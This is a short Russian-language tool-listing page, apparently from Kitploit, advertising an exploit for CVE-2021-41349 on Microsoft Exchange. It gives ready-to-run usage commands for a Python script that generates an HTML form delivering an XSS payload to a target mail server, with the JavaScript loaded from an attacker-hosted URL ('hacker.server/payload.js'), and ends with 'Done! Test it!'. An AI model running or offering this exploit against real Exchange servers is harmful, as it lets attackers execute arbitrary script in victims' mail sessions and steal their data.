CVE-2021-41349 — Эксплойт-инструмент для CVE-2021-41349, который генерирует HTML-форму для доставки XSS-пейлоадов на серверы Microsoft Exchange, позволяя выполнять произвольный JavaScript. | Kitploit

Microsoft Exchange Exploit CVE-2021-41349

Эксплуатация: CVE-2021-41349 Этот инструмент эксплуатации создает форму для отправки XSS-пейлоада на целевой сервер Exchange. Вам необходимо создать js-файл, содержащий то, что вы хотите выполнить.

Использование

Создайте свой js-пейлоад и загрузите его куда-нибудь.
Запустите CVE-2021-41349.py следующим образом.

python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

или:

./CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

Загрузите html-файл на сервер.
Готово! Протестируйте!

CVE-2021-41349

Популярное

Microsoft Exchange Exploit CVE-2021-41349

Использование

Авторы